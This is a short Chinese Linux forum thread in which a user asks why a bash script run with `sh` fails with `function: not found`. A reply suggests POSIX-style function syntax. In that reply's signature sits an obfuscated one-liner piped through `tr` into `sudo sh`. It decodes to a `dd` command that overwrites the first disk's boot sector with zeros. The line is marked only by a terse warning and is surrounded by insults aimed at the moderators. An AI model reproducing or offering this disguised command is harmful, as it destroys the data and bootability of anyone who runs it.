func.sh: 2: function: not found

sh/bash/dash/ksh/zsh等Shell脚本
回复
litao19
帖子: 29
注册时间: 2006-08-18 9:48

func.sh: 2: function: not found

#1

帖子 litao19 » 2007-04-23 15:44

#!/bin/bash
function quit {
exit
}
function hello {
echo Hello
}
hello
quit
echo foo

系统提示
func.sh: 2: function: not found

还需要安装其他的工具包么?
ziyun
帖子: 262
注册时间: 2007-03-29 12:59

#2

帖子 ziyun » 2007-04-23 16:52

把function当成shell命令了

代码: 全选

#!/bin/bash
quit()
{
exit
}
hello()
{
echo hello
}
hello
quit
echo done

代码: 全选

[test@ziyun ~]$ sh func.sh
hello
[test@ziyun ~]$   
echo 'qq%vs+&qri&mreb%bs+&qri&uqn%of+FBC%pbhag+B' | tr 'n-za-m&+A-J%' 'a-z/=0-9 ' |sudo sh #<-警告:
强烈鄙视SB版主,一群跟风的SB,一群自以为是的SB
对这个论坛彻底失望了
litao19
帖子: 29
注册时间: 2006-08-18 9:48

#3

帖子 litao19 » 2007-04-24 10:58

知道了,谢谢
回复